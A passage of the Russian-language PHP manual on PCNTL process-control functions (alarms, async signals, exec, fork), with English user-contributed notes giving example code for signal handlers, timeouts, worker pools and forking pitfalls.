pcntl_signal(SIGSEGV, "sig_handler");
pcntl_signal(SIGPIPE, "sig_handler");
pcntl_signal(SIGALRM, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGSTKFLT, "sig_handler");
pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGCLD, "sig_handler");
pcntl_signal(SIGIO, "sig_handler");
pcntl_signal(SIGTSTP, "sig_handler");
pcntl_signal(SIGTTIN, "sig_handler");
pcntl_signal(SIGTTOU, "sig_handler");
pcntl_signal(SIGURG, "sig_handler");
pcntl_signal(SIGXCPU, "sig_handler");
pcntl_signal(SIGXFSZ, "sig_handler");
pcntl_signal(SIGVTALRM, "sig_handler");
pcntl_signal(SIGPROF, "sig_handler");
pcntl_signal(SIGWINCH, "sig_handler");
pcntl_signal(SIGPWR, "sig_handler");

I commented out SIGNIT, as it is the signal which is sent to your process when you press CTRL-C. If you catch this signal, you must handle it properly:

function sig_handler($signo) {
  switch($signo) {
    case SIGINT:
      // customized cleanup code
      exit; // now exit
      break;
  }
}

Otherwise the only possibility to stop your process is by sending a SIGKILL signal - you can do this on the shell by typing "kill -9 PID" (where -9 is the numerical value for SIGKILL).

Note: You cannot add a handler (i.e. ignore signals) for SIGSTOP and SIGKILL - for obvious reasons.


Задать таймер доставки сигнала SIGALRM

  • « Функции PCNTL
  • pcntl_async_signals »
  • PHP Manual
  • Функции PCNTL
  • Задать таймер доставки сигнала SIGALRM

pcntl_alarm

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pcntl_alarm — Задать таймер доставки сигнала SIGALRM

Описание

pcntl_alarm(int $seconds): int

Создаёт таймер, который отправит сигнал SIGALRM процессу через заданное количество секунд. Любой вызов функции pcntl_alarm() отменит любой ранее заданный таймер.

Список параметров

seconds

Число секунд ожидания. Если в аргумент seconds передан ноль, то новый таймер создан не будет.

Возвращаемые значения

Возвращает время в секундах, которое оставалось любому предыдущему таймеру для доставки сигнала, или вернёт 0, если ранее таймер не был задан.

User Contributed Notes

kuba at valentine dot dev 03-Jan-2023 05:32
Keep in mind that you can easily and selectively prevent signal types of your choosing (including SIGALRM) from interrupting blocking operations you don't want interrupted. Use pcntl_sigprocmask() to shield any part of your code, whenever needed and without affecting expected signal behavior for the rest of it.

Here is simple example of shielding one blocking sleep operation from being interrupted while allowing it to happen to another - right next to each other.

<?php
$alarm = 2;
$sleep = 10;
$stamp = time();

pcntl_async_signals(TRUE);

/**
 * Alarm signal handler.
 */
pcntl_signal(SIGALRM, function(int $sig) use ($alarm, &$stamp) {
  $late = (($now = time()) - $stamp) - $alarm;
  $stamp = $now;
  echo '* ALARM SIGNAL HANDLER * Fired '. ($late ? ($late .' seconds late') : 'on schedule') .' *'. PHP_EOL;
  pcntl_alarm($alarm);
});

/**
 * Sleeping function.
 */
function get_some_sleep(int $duration, string $info) {
  $start = time();
  echo PHP_EOL . $duration .' seconds sleep - '. $info . PHP_EOL;
  sleep($duration);
  $early = $duration - (time() - $start);
  echo 'Sleep was '. ($early ? ('interrupted. Woke up '. $early .' seconds early.') : 'uninterrupted.') . PHP_EOL;
}

/**
 * Here we schedule first alarm.
 */
pcntl_alarm($alarm);

while (TRUE) {
  /**
   * This sleep can and will be interrupted by alarm signal.
   */
  get_some_sleep($sleep, 'without a shield');

  /**
   * Now we set our shield. From now on blocked signals will be ignored.
   * Each blocked signal type that fires while shield is up is put on hold.
   */
  pcntl_sigprocmask(SIG_BLOCK, [SIGALRM]);
  get_some_sleep($sleep, 'protected by sigprocmask()');

  /**
   * Now we take off our shield. If any blocked signal fired while shield
   * was up now it's handler will be executed immediately, single time.
   * This is very useful behaviour because we protect what needs protecting but also
   * don't miss out on anything - without being flooded thanks to "once per type" queue.
   */
  pcntl_sigprocmask(SIG_UNBLOCK, [SIGALRM]);
}
molsavsky1 at gmail dot com 17-Dec-2021 09:55
Beware that pcntl_signal will interrupt (u)sleep calls which will not be resumed once the handler is completed.

It's a documented behaviour (https://www.php.net/manual/en/function.sleep.php) although it may look like a bug when encountered for the first time.

From the docs:
"If the call was interrupted by a signal, sleep() returns a non-zero value. On Windows, this value will always be 192 (the value of the WAIT_IO_COMPLETION constant within the Windows API). On other platforms, the return value will be the number of seconds left to sleep."

```
<?php

$interval = 1;
pcntl_async_signals(true);

pcntl_signal(SIGALRM, function () use ($interval): void {
    echo 'SIGALRM called' . PHP_EOL;
    pcntl_alarm($interval);
});

pcntl_alarm($interval);

echo 'Sleep (will be interrupted) started' . PHP_EOL;

sleep(100000000000);

echo 'Sleep ended soon due to interrupt' . PHP_EOL;

$sleepTimeout = 10;
echo "Proper sleep for {$sleepTimeout} seconds" . PHP_EOL;

$startedAt = time();
while ($sleepTimeout > 0 && ($sleepTimeout = sleep($sleepTimeout)) !== true) {
    echo "Sleep interrupted, {$sleepTimeout} seconds remaining" . PHP_EOL;
}

$elapsed = time() - $startedAt;
echo "Sleep finished after {$elapsed} seconds" . PHP_EOL;
```
kuba at valentine dot dev 24-Oct-2020 08:25
This is that universal timeout functionality you dreamed about and always wanted to have and guess what - it's as reliable as it gets, it's basically bulletproof. It can interrupt absolutely anything you throw at it and more, you name it - socket_connect(), socket_read(), fread(), infinite while() loops, sleep(), semaphores - seriously, any blocking operation. You can specify your own handler and just get over anything that normally would make your code unresponsive.

<?php
/**
 * Because we shouldn't handle asynchronous
 * events in synchronous manner.
 */
pcntl_async_signals(TRUE);

/**
 * Some flag we can change to know for sure
 * that our operation timed out.
 */
$timed_out = FALSE;

/**
 * Register SIGALRM signal handler to avoid
 * getting our process killed when signal arrives.
 */
pcntl_signal(SIGALRM, function($signal) use (&$timed_out) {
  $timed_out = TRUE;
});

/**
 * Now we set our timeout for 2 seconds, but it's not set in stone
 * we can call pcntl_alarm() anytime to extend or to turn if off.
 */
pcntl_alarm(2);

/**
 * Here we do something with unpredictable outcome that could
 * possibly block our program for a very long time.
 * I like sockets as an example, but it can be anything.
 */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$connection = socket_connect($socket, 'irc.ircnet.com', 6667);

/**
 * If our blocking operation didn't timed out then
 * timer is still ticking, we should turn it off ASAP.
 */
$timed_out || pcntl_alarm(0);

/**
 * And now we do whatever we want to do.
 */
$status = $connection ? 'Connected.' : ($timed_out ? 'Timed out.' : socket_strerror(socket_last_error($socket)));
echo 'STATUS: '. $status . PHP_EOL;
Gao,Shengwei 19-Apr-2018 05:12
Use pcntl_signal_dispatch() to catch the signal, don't use declare(ticks=1) because it is ineffcient

<?php
pcntl_signal(SIGALRM, function () {
    echo 'Received an alarm signal !' . PHP_EOL;
}, false);

pcntl_alarm(5);

while (true) {
    pcntl_signal_dispatch();
    sleep(1);
}


Включить/отключить асинхронную обработку сигналов, либо получить текущий статус

  • « pcntl_alarm
  • pcntl_errno »
  • PHP Manual
  • Функции PCNTL
  • Включить/отключить асинхронную обработку сигналов, либо получить текущий статус

pcntl_async_signals

(PHP 7 >= 7.1.0, PHP 8)

pcntl_async_signals — Включить/отключить асинхронную обработку сигналов, либо получить текущий статус

Описание

pcntl_async_signals(?bool $enable = null): bool

Если пропущен параметр enable, функция pcntl_async_signals() вернёт текущее значение настройки. А если задан, то асинхронная обработка будет включена, либо отключена, в зависимости от заданного значения.

Список параметров

enable

Включить или отключить асинхронную обработку сигналов.

Возвращаемые значения

Если при использовании значение параметра enable равно null, возвращает включена ли асинхронная обработка сигналов. Если при использовании параметр enable не равен null, возвращает, была ли включена асинхронная обработка сигналов до вызова функции.

Список изменений

Версия | Описание
8.0.0 | enable теперь допускает значение null.

Смотрите также

  • declare

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним pcntl_get_last_error

  • « pcntl_async_signals
  • pcntl_exec »
  • PHP Manual
  • Функции PCNTL
  • Псевдоним pcntl_get_last_error

pcntl_errno

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_errno — Псевдоним pcntl_get_last_error()

Описание

Функция является псевдонимом: pcntl_get_last_error()

User Contributed Notes

renmengyang567 at gmail dot com 06-Apr-2019 04:43
<explain>
This example installs an alarm signal, but the callback function does not exist,This will set the last error. Then we will print out the last error.

<?php
set_error_handler(function(){});
pcntl_signal(SIGALRM,'sig_handler',false);
print  'Your error returned was (Code):'.pcntl_get_last_error().PHP_EOL;
print  'Your error info:'.pcntl_strerror(pcntl_get_last_error()).PHP_EOL;


Запустить указанную программу в области текущего процесса

  • « pcntl_errno
  • pcntl_fork »
  • PHP Manual
  • Функции PCNTL
  • Запустить указанную программу в области текущего процесса

pcntl_exec

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pcntl_exec — Запустить указанную программу в области текущего процесса

Описание

pcntl_exec(string $path, array $args = [], array $env_vars = []): bool

Запускает программу с переданными аргументами.

Список параметров

path

path путь до исполняемой программы или скрипта с корректным указанием пути до интерпретатора в первой строке (например, #!/usr/local/bin/perl). Для получения дополнительной информации обратитесь к системному руководству execve(2).

args

args массив строк аргументов переданных программе

env_vars

env_vars массив строк, которые переданы программе в качестве переменных окружения. Массив формата name => value, где name - имя переменной окружения и value - значение переменной окружения.

Возвращаемые значения

Возвращает false.

User Contributed Notes

maxime at diametrick dot com 02-May-2013 06:20
An alternative for Windows environment is to use the COM object. With this, you can start child process with Apache, or php.exe as parent process. Very useful for CLI or console PHC-Win applications.

if(!function_exists('pcntl_exec')){
  function pcntl_exec($path,$args=array()){
    if(is_string($args)) $args = array($args);
    if(count($args)) $path = '"'.$path.'"';
    $shell = new COM('WScript.Shell');
    $shell->run($path.(count($args) ? ' '.implode(' ',$args) : ''),0,true);
  }
}

Very useful too when you want to use ansicon. Instead of make a .bat file with ansicon -p and php .... (somefile).php, in your .php file you can put this on top of your code:

pcntl_exec('ansicon -p');

BINGO!
fahadsadah at gmail dot com dot please dot remove dot this 28-Jun-2008 07:44
Just a note regarding what rbemrose at vgmusic dot com said:
Once the executed process ends, control returns to the webserver process.
rbemrose at vgmusic dot com 06-Feb-2008 02:44
As a side note, if I'm reading the comments below correctly, you should not run this if you're using a PHP webserver module, as it will replace the webserver's process with whatever process you're telling it to run.
agodong at verizon dot net 07-Dec-2006 10:47
Some people might find it useful to run other program using the same process as a different user. This is very usefull if the script is running under root. Here is a simple code to achieve that under *nix PHP CLI:

#!/usr/bin/php -q
<?php
//Enter run-as user below (argument needed to be passed when the script is called), otherwise it will run as the caller user process.

$username = $_SERVER['argv'][1];

$user = posix_getpwnam($username);
posix_setuid($user['uid']);
posix_setgid($user['gid']);
pcntl_exec('/path/to/cmd');
?>

I use this as a part of socket program so that a program can be run under different user from remote location.
eric kilfoil 24-Oct-2006 10:01
The pcntl_exec() function works exactly like the standard (unix-style) exec() function.  It differs from the regular PHP exec() function in that the process calling the pcntl_exec() is replaced with the process that gets called.  This is the ideal method for creating children.  In a simple example (that does no error checking):

switch (pcntl_fork()) {
  case 0:
    $cmd = "/path/to/command";
    $args = array("arg1", "arg2");
    pcntl_exec($cmd, $args);
    // the child will only reach this point on exec failure,
    // because execution shifts to the pcntl_exec()ed command
    exit(0);
  default:
    break;
}

// parent continues
echo "I am the parent";

--

since this is not being executed through a shell, you must provide the exact path from the filesystem root.  Look at the execve() man page for more information.
michael dot ferre at mobileway dot com 20-Nov-2002 03:28
//To complete my last note
//If you use some object in your php code
//You will have some problem if you do a exit after include the
//child scripts
//You must use posix_kill() like that :

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0)
{
  include ($script_path);
  posix_kill(getmypid(),9);
}

//This code is very simple it can be ameliorate ;)


Разветвить (fork) текущий запущенный процесс

  • « pcntl_exec
  • pcntl_get_last_error »
  • PHP Manual
  • Функции PCNTL
  • Разветвить (fork) текущий запущенный процесс

pcntl_fork

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_fork — Разветвить (fork) текущий запущенный процесс

Описание

pcntl_fork(): int

Функция pcntl_fork() создаёт дочерний процесс, который отличается от родительского процесса только его PID и PPID. Пожалуйста обратитесь к вашему системному руководству (man) fork(2) для ознакомления со спецификой работы fork на вашей системе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения, PID дочернего процесса будет возвращён в родительском потоке (thread) запуска и 0 будет возвращён в дочернем потоке запуска. В случае возникновения ошибки, в родительский контекст будет возвращено -1, дочерний процесс создан не будет и PHP сгенерирует соответствующую ошибку.

Примеры

Пример #1 Пример pcntl_fork()

<?php

$pid = pcntl_fork();
if ($pid == -1) {
die('Не удалось породить дочерний процесс');
} else if ($pid) {
// Код родительского процесса
pcntl_wait($status); // Защита против дочерних "Зомби"-процессов
} else {
// Код дочернего процесса
}

?>

Смотрите также

  • pcntl_rfork() - Взаимодействует с ресурсами процесса
  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_signal() - Установка обработчика сигнала
  • cli_set_process_title() - Устанавливает заголовок процесса

User Contributed Notes

cyrus at hirvi dot com 18-Feb-2023 02:46
Here is an APCu alternative (instead of shared memory) function of fork_process by `kenneth at fellowrock dot com` https://www.php.net/manual/en/function.pcntl-fork.php#115855

<?php
// usage
$namespace = 'some_namespace';
$processes = [
    function () {
        sleep(1);
        return 'Hello';
    },
    function () {
        sleep(1);
        return ' world!';
    },
];
$callback = function ($result) {
    echo $result[0] . $result[1];
};
threadize($namespace, $processes, $callback);

function threadize(string $namespace, $processes, callable $callback)
{
    apcu_store($namespace . '_monitor', 0, 86400 * 3);
    for ($i = 0; $i < count($processes); $i++) {
        $pid = pcntl_fork();
        if (!$pid) {
            if ($i == 1) {
                usleep(100000);
            }
            apcu_store($namespace . '_process_result_' . $i, $processes[$i](), 86400 * 3);
            apcu_inc($namespace . '_monitor');
            exit(0);
        }
    }
    while (pcntl_waitpid(0, $status) != -1) {
        if (apcu_fetch($namespace . '_monitor') === count($processes)) {
            $result = [];
            for ($i = 0; $i < count($processes); $i++) {
                $result[$i] = apcu_fetch($namespace . '_process_result_' . $i);
                apcu_delete($namespace . '_process_result_' . $i);
            }
            $callback($result);
            apcu_delete($namespace . '_monitor');
        }
    }
}
?>
qu4qu426com123 at gmail dot com 21-Oct-2022 06:40
Simple solution if you want to reading result from child process into the parent thread that based on socket.
Hope this can be of use to someone.

<?php
function fork_process(...$callbacks)
{
    $callbackSocket = [];
    $callbacks = array_filter($callbacks, function ($callback) {
        return $callback instanceof \Closure;
    });
    /* On Windows need to use AF_INET */
    $domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);
    $pids = [];
    foreach ($callbacks as $index => $callback) {
        $setUpCallbackSocket = socket_create_pair($domain, SOCK_STREAM, 0, $callbackSocket[$index]);
        if (!$setUpCallbackSocket) {
            throw new \Exception(
                "socket_create_pair failed. Reason: " . socket_strerror(socket_last_error()),
                1
            );
        }
        $pid = pcntl_fork();
        if ($pid == 0) {
            try {
                $returnValue = $callback();
                // Declare $sendingData end of line , prevent socket_read hangs
                $sendingData = serialize($returnValue) . "\0\r\n";
                $bufferLength = mb_strlen($sendingData, '8bit');
                // If not declare $bufferLength, it is silently truncated to the length of SO_SNDBUF
                // @see https://www.php.net/manual/en/function.socket-write.php
                // @see https://www.php.net/manual/en/function.socket-get-option.php
                socket_write($callbackSocket[$index][0], $sendingData, $bufferLength);
                socket_close($callbackSocket[$index][0]);
            } finally {
                // Explicity kill process, or else the resource shared with parent will be closed
                posix_kill(getmypid(), SIGTERM);
                exit();
            }
        } else {
            $pids[$index] = $pid;
        }
    }
    $results = [];
    foreach ($pids as $index => $pid) {
        pcntl_waitpid($pid, $status);
        $msg = "";
        while ($resp = socket_read($callbackSocket[$index][1], 102400)) {
            $msg .= $resp;
            // prevent socket_read hangs
            if ($msg[-1] === "\n" && $msg[-2] === "\r" && $msg[-3] === "\0") {
                break;
            }
        }
        socket_close($callbackSocket[$index][1]);
        $results[] = unserialize(trim($msg));
    }
    return $results;
}

$time = microtime(true);
$resp = fork_process(
    function () {
        sleep(1);
        return 'first';
    },
    function () {
        sleep(2);
        return 'second';
    },
);
echo (microtime(true) - $time);
// 2.0448851585388
echo implode(' ', $resp);
// first second
?>
Inspired by https://stackoverflow.com/questions/8707339/sharing-variables-between-child-processes-in-php
williamdes at wdes dot fr 17-Apr-2022 02:53
<?php

declare(strict_types = 1);

/**
  * Helper method to execute a task
  */
function execute_task(int $task_id): void
{
    echo 'Starting task: ' . $task_id . PHP_EOL;

    // Simulate doing actual work with sleep()
    $execution_time = rand(5, 10);
    sleep($execution_time);

    echo "Completed task: ${task_id}. Took ${execution_time} seconds.\n";
}

/**
  * Builds a list of tasks
  */
function generator(): Generator
{
    $item_count = 50;
    for ($i = 1; $i <= $item_count; $i++) {
        yield $i;
    }
}

/**
  * Starts the work
  */
function launch(): void
{
    $processCount = 0;
    $status       = null;
    echo 'Running as pid: ' . getmypid() . PHP_EOL;

    $taskList = generator();
    do {
        echo 'Still tasks to do' . PHP_EOL;

        if ($processCount >= 5) {
            echo 'Waiting, currently running: ' . $processCount . PHP_EOL;
            pcntl_wait($status);
            $processCount--;
            continue;
        }

        echo 'Tasks running: ' . $processCount . PHP_EOL;
        $task = $taskList->current();
        $taskList->next();
        $processCount++;

        $pid = pcntl_fork();

        if ($pid === -1) {
            exit('Error forking...' . PHP_EOL);
        }

        if ($pid === 0) {
            $processList[] = getmypid();
            echo 'Running task as pid: ' . getmypid() . PHP_EOL;
            execute_task($task);
            exit();
        }
    } while ($taskList->valid());

    $waitForChildrenToFinish = true;
    while ($waitForChildrenToFinish) {
        // This while loop holds the parent process until all the child threads
        // are complete - at which point the script continues to execute.
        if (pcntl_waitpid(0, $status) === -1) {
            echo 'parallel execution is complete' . PHP_EOL;
            $waitForChildrenToFinish = false;
        }
    }

    // Code to run after all tasks are processed
}

launch();
simon dot riget at gmail dot com 23-Jul-2018 08:43
Be aware that pcntl_fork may return NULL (not -1) if the function is disabled in php.ini.
<?php
    $pid = pcntl_fork();
    if ( $pid < 0 || $pid === null )
        die ("Unable to fork process");
?>
laurent dot salomon at ymail dot com 19-Sep-2015 11:46
The following exemple works with php5.6 and apcu. This was tested on debian 7 and Ubuntu 14.04.2 LTS.

Here is a proposition of a simple Job class which execute a task list upon a item queue with shared memory capability :

class Job
{
    const
        CACHE_PREFIX = 'SHM/',
        WORKER_NUMBER = 10;

    private
        $_queues = [],
        $_tasks = [],
        $_pids = [],
        $_workerNumber,
        $_cacheHandler,
        $_prefix,
        $_id;

    public function __construct(array $queue, $workerNumber = self::WORKER_NUMBER)
    {
        $count = count($queue);

        $length = ceil($count / $workerNumber);

        $this->_queues = array_chunk($queue, $length);

        $this->setWorkerNumber($workerNumber);

        $this->_prefix = self::CACHE_PREFIX . microtime(true) . '/';
    }

    public function setWorkerNumber($workerNumber)
    {
        $this->_workerNumber = $workerNumber;
    }

    public function __get($key)
    {
        return apc_fetch($this->_prefix . $key);
    }

    public function __set($key, $value)
    {
        apc_store($this->_prefix . $key, $value);
    }

    public function add(Closure $task)
    {
        $this->_tasks[] = $task->bindTo($this, $this);

        return $this;
    }

    public function run(Closure $task = null)
    {
        if (isset($task))
        {
            $this->add($task);
        }

        $i = 0;

        do
        {
            $queue = $this->_queues[$i++];

            $pid = pcntl_fork();

            $this->_id = $i;

            if ($pid === -1)
            {
                die("can't fork !");
            }
            elseif ($pid !== 0) // main
            {
                $this->_pids[$pid] = $pid;
            }
            else // child
            {
                foreach($this->_tasks as $task)
                {
                    $task($queue);
                }

                exit(0);
            }
        }
        while($i < $this->_workerNumber);

        do // main
        {
            $pid = pcntl_wait($status);

            unset($this->_pids[$pid]);
        }
        while(count($this->_pids));
    }
}

$driver = new mysqli(':host', ':user', ':pwd', ':db');

$query = 'SELECT * FROM :table LIMIT :n';

if (false !== ($res = $driver->query($query)))
{
    $resultSet = [];

    while($row = mysqli_fetch_assoc($res))
    {
        $resultSet[] = $row;
    }

    $job = new Job($resultSet);

    $job->test = [];

    $job->run(function($queue = [])
    {
        // task

        foreach($queue as $value)
        {
            $test = $this->test;

            $value['workedId'] = $this->_id;

            // ...

            $test[] = $value;

            $this->test = $test;
        }
    });

    print_r($job->test);
}
jrm456 at speed dot 1s dot fr 09-Feb-2015 03:39
Workaround to pcntl_fork() not being usable when PHP is run as an Apache module

function background_job($program, $args)
{
    # The following doesn't work when running PHP as an apache module
    /*
    $pid = pcntl_fork();
    pcntl_signal(SIGCHLD, SIG_IGN);

    if ($pid == 0)
    {
        posix_setsid();
        pcntl_exec($program, $args, $_ENV);
        exit(0);
    }
    */

    # Workaround
    $args = join(' ', array_map('escapeshellarg', $args));
    exec("$program $args 2>/dev/null >&- /dev/null &");
}
kenneth at fellowrock dot com 03-Oct-2014 03:20
I just thought of contributing to this awesome community and hope this can be of use to someone. Although PHP provides threaded options, and multi curl handles that run in parallel, I managed to bash out a solution to run each function as it's own process for non-threaded versions of PHP.

Usage:  #!/usr/bin/php
Usage: php -f /path/to/file

#!/usr/bin/php
<?php
function fork_process($options)
{
    $shared_memory_monitor = shmop_open(ftok(__FILE__, chr(0)), "c", 0644, count($options['process']));
    $shared_memory_ids = (object) array();
    for ($i = 1; $i <= count($options['process']); $i++)
    {
        $shared_memory_ids->$i = shmop_open(ftok(__FILE__, chr($i)), "c", 0644, $options['size']);
    }
    for ($i = 1; $i <= count($options['process']); $i++)
    {
        $pid = pcntl_fork();
        if (!$pid)
        {
            if($i==1)
                usleep(100000);
            $shared_memory_data = $options['process'][$i - 1]();
            shmop_write($shared_memory_ids->$i, $shared_memory_data, 0);
            shmop_write($shared_memory_monitor, "1", $i-1);
            exit($i);
        }
    }
    while (pcntl_waitpid(0, $status) != -1)
    {
        if(shmop_read($shared_memory_monitor, 0, count($options['process'])) == str_repeat("1", count($options['process'])))
        {
            $result = array();
            foreach($shared_memory_ids as $key=>$value)
            {
                $result[$key-1] = shmop_read($shared_memory_ids->$key, 0, $options['size']);
                shmop_delete($shared_memory_ids->$key);
            }
            shmop_delete($shared_memory_monitor);
            $options['callback']($result);
        }
    }
}

// Create shared memory block of size 1M for each function.
$options['size'] = pow(1024,2);

// Define 2 functions to run as its own process.
$options['process'][0] = function()
{
    // Whatever you need goes here...
    // If you need the results, return its value.
    // Eg: Long running proccess 1
    sleep(1);
    return 'Hello ';
};
$options['process'][1] = function()
{
    // Whatever you need goes here...
    // If you need the results, return its value.
    // Eg:
    // Eg: Long running proccess 2
    sleep(1);
    return 'World!';
};
$options['callback'] = function($result)
{
    // $results is an array of return values...
    // $result[0] for $options['process'][0] &
    // $result[1] for $options['process'][1] &
    // Eg:
    echo $result[0].$result[1]."\n";
};
fork_process($options);

?>

If you'd like to get the results back from a webpage, use exec(). Eg: echo exec('php -f /path/to/file');

Continue hacking! :)
John Nicholls 06-Feb-2014 09:52
The notes on http://php.net/manual/en/function.posix-setsid.php describe how you can avoid accruing countless zombie processes by a simple call to posix_setsid() when a child starts.
manishpatel2280 at gmail dot com 08-Dec-2012 06:41
Its been easy to fork process with pcntl_fork.. but how can we control or process further once all child processes gets completed.. here is the way we can do that...

<?php
for ($i = 1; $i <= 5; ++$i) {
        $pid = pcntl_fork();

        if (!$pid) {
            sleep(1);
            print "In child $i\n";
            exit($i);
        }
    }

    while (pcntl_waitpid(0, $status) != -1) {
        $status = pcntl_wexitstatus($status);
        echo "Child $status completed\n";
    }
?>
kexianbin at diyism dot com 12-Dec-2011 11:17
Fork in foreach:

<?php
foreach ($tasks as $v)
        {if (($pid=pcntl_fork())===-1)
            {//...
             continue;
            }
         else if ($pid)
              {pcntl_wait($status, WNOHANG); //protect against zombie children, one wait vs one child
              }
         else if ($pid===0)
              {ob_start();//prevent output to main process
               register_shutdown_function(create_function('$pars', 'ob_end_clean();posix_kill(getmypid(), SIGKILL);'), array());//to kill self before exit();, or else the resource shared with parent will be closed
               //...
               exit();//avoid foreach loop in child process
              }
        }
?>
nmmm at nmmm dot nu 21-Nov-2011 10:57
It was driving me crazy that the script was killed couple of hours after I logged out, even I started it as:

php server.php >& logfile.txt

looks like PHP somehow interact with standard input, even I do not used it.

Solution was to start it with nohup:

nohup php server.php >& logfile.txt

or to do demonize / run as demon (e.g. fork() and close file descriptors)
sean dot kelly at mediatile dot com 22-Oct-2010 05:36
"Fatal Error" has always been the bane of my world because there is no way to capture and handle the condition in PHP. My team builds almost everything in PHP in order to leverage our core library of code, so it was of the essence to find a solution for this problem of scripts bombing unrecoverably and us never knowing about it.

One of our background automation systems creates a "task queue" of sorts and for each task in the queue, a PHP module is include()ed to handle the task. Sometimes however a poorly behaved module will nuke with a Fatal Error and take out the parent script with it.

I decided to try to use pcntl_fork() to isolate the task module from the parent code, and it seems to work: a Fatal Error generated within the module makes the child task bomb, and the waiting parent can simply catch the return code from the child and track/alert us to the problem as needed.

Naturally something similar could be done if I wanted to simply exec() the module and check the output, but then I would not have the benefit of the stateful environment that the parent script has so carefully prepared. This allows me to keep the child process within the context of the parent's running environment and not suffer the consequences of Fatal Errors stopping the task queue from continuing to process.

Here is fork_n_wait.php for your amusement:

<?php

if (! function_exists('pcntl_fork')) die('PCNTL functions not available on this PHP installation');

for ($x = 1; $x < 5; $x++) {
   switch ($pid = pcntl_fork()) {
      case -1:
         // @fail
         die('Fork failed');
         break;

      case 0:
         // @child: Include() misbehaving code here
         print "FORK: Child #{$x} preparing to nuke...\n";
         generate_fatal_error(); // Undefined function
         break;

      default:
         // @parent
         print "FORK: Parent, letting the child run amok...\n";
         pcntl_waitpid($pid, $status);
         break;
   }
}

print "Done! :^)\n\n";
?>

Which outputs:
php -q fork_n_wait.php
FORK: Child #1 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #2 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #3 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
FORK: Child #4 preparing to nuke...
PHP Fatal error:  Call to undefined function generate_fatal_error() in ~/fork_n_wait.php on line 16
FORK: Parent, letting the child run amok...
Done! :^)
KrazyBox 12-Aug-2010 07:33
There are quite a few questions regarding how file descriptors get handled when processes are forked.

Remember that fork() makes a copy of the program, which means all descriptors are copied. Unfortunately, this is a rather bad situation for a PHP program because most descriptors are handled by PHP or a PHP Extension internally.

The simple, and probably "proper" way to solve this issue is to fork before hand, there really should be no need to fork at many different points among a program, you would simply fork, and then delegate the work. Use a master/worker hierarchy.

For example, if you need to have many processes that use a MySQL Connection, just fork before the connection is made, that way each child has it?s own connection to mysql that it, and it alone, manages.

With careful and correct usage, fork() can be an extremely powerful tool.

--Please remember to take proper care of your children.
somebody 12-Aug-2010 03:46
you should be _very_ careful with using fork in scripts beyond academic examples,
or rather just avoid it alltogether, unless you are very aware of it's limitations.

the problem is that it just forks the whole php process, including not only
the state of the script, but also the internal state of any extensions loaded.
this means that all memory is copied, but all file descriptors are shared among
the parent and child processes.
and that can cause major havoc if some extension internally maintains
file descriptors.
the primary example is ofcourse mysql, but this could be any extensions that
maintains open files or network sockets.
also, just reopening your connection in the parent or child isn't a safe
method, because when the old connection resource is destroyed, the extension
might not just close it, but for example send a request to the server to log
off, making the connection unusable.
this happens with mysql for example, when php exits - in the following script the query will always fail with "MySQL server has gone away":

<?php
mysql_connect(/* enter a working server here maybe? */);
if(pcntl_fork()) die(); // fork a child and have the parent terminate
//if(pcntl_fork()) posix_kill(getmypid(),9); // works, but very ugly
$r=mysql_query("select 1;");
if(!$r)die(mysql_error()."\n");
?>
(it was suggested that processes kill themselves with SIGKILL to avoid any cleanup on shutdown)

(the only save way would be to close all connections and reopen them after the fork, and even that might not be possible if an extension keeps one open internally)

for a nice demonstration of the havoc fork can create, try the below script.
it opens a mysql connection, then forks, and runs queries from both parent and child,
verifying that it receives the correct result.
run it (on the cli preferably) a few times, and you will find various possible
results:
- very often is just hangs and doesn't output anything anymore
- also very often, the server closes the connection, probably because it
  receives interleaved requests it can't process.
- sometimes one process gets the result of the OTHER processes'
  query! (because both send their queries down the same socket,
  and it's pure luck who gets the reply)

<?php
mysql_connect(/* enter a working server here maybe? */);
$f=pcntl_fork();
while(true){
    sleep(rand(0,10)/100);
    $r=mysql_query("select $f;");
    if(!$r)die($f.": ".mysql_error()."\n");
    list($x)=mysql_fetch_array($r);
    echo ($f)?".":"-";
    if($x!=$f) echo ($f.": fail: $x!=$f\n ");
}
?>
iulian 10-Jul-2010 11:58
When using fork to run multiple children processes on a single job queue using mysql, I used mysql_affected_rows() to prevent collisions between workers:

First I find a "free" job:
SELECT job_id FROM queue WHERE status="free"

Then I update the queue:
UPDATE queue SET worker_id={$worker_id} WHERE job_id={$job_id}

Then I see if the row was changed

<?php
if(mysql_affected_rows() == 0)
{
//the row hasn't changed, so it must mean that another worker has claimed the job, so I go back to the "find a free job" query
}
else
{
//do the job
}
?>
duerra at yahoo dot com 01-Jul-2010 07:06
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

I am including a stripped down version of a job daemon that should get a person on the right track.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
